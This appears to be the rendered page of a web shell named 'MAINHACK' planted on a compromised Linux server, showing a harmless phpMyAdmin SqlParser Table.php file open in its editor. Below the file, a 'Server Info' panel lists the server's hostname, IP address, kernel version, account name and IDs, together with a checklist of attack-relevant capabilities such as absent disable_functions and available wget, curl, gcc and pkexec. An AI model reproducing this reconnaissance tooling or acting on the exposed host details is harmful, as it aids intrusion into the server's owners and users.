[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: Table.php
<?php declare(strict_types=1); namespace PhpMyAdmin\SqlParser\Utils; use PhpMyAdmin\SqlParser\Statements\CreateStatement; use function is_array; use function str_replace; /** * Table utilities. */ class Table { /** * Gets the foreign keys of the table. * * @param CreateStatement $statement the statement to be processed * * @return array<int, array<string, mixed[]|string|null>> */ public static function getForeignKeys($statement) { if (empty($statement->fields) || (! is_array($statement->fields)) || (! $statement->options->has('TABLE'))) { return []; } $ret = []; foreach ($statement->fields as $field) { if (empty($field->key) || ($field->key->type !== 'FOREIGN KEY')) { continue; } $columns = []; foreach ($field->key->columns as $column) { if (! isset($column['name'])) { continue; } $columns[] = $column['name']; } $tmp = [ 'constraint' => $field->name, 'index_list' => $columns, ]; if (! empty($field->references)) { $tmp['ref_db_name'] = $field->references->table->database; $tmp['ref_table_name'] = $field->references->table->table; $tmp['ref_index_list'] = $field->references->columns; $opt = $field->references->options->has('ON UPDATE'); if ($opt) { $tmp['on_update'] = str_replace(' ', '_', $opt); } $opt = $field->references->options->has('ON DELETE'); if ($opt) { $tmp['on_delete'] = str_replace(' ', '_', $opt); } } $ret[] = $tmp; } return $ret; } /** * Gets fields of the table. * * @param CreateStatement $statement the statement to be processed * * @return array<int|string, array<string, bool|string|mixed>> */ public static function getFields($statement) { if (empty($statement->fields) || (! is_array($statement->fields)) || (! $statement->options->has('TABLE'))) { return []; } $ret = []; foreach ($statement->fields as $field) { // Skipping keys. if (empty($field->type)) { continue; } $ret[$field->name] = [ 'type' => $field->type->name, 'timestamp_not_null' => false, ]; if (! $field->options) { continue; } if ($field->type->name === 'TIMESTAMP') { if ($field->options->has('NOT NULL')) { $ret[$field->name]['timestamp_not_null'] = true; } } $option = $field->options->has('DEFAULT'); if ($option) { $ret[$field->name]['default_value'] = $option; if ($option === 'CURRENT_TIMESTAMP') { $ret[$field->name]['default_current_timestamp'] = true; } } $option = $field->options->has('ON UPDATE'); if ($option === 'CURRENT_TIMESTAMP') { $ret[$field->name]['on_update_current_timestamp'] = true; } $option = $field->options->has('AS'); if (! $option) { continue; } $ret[$field->name]['generated'] = true; $ret[$field->name]['expr'] = $option; } return $ret; } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.27 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002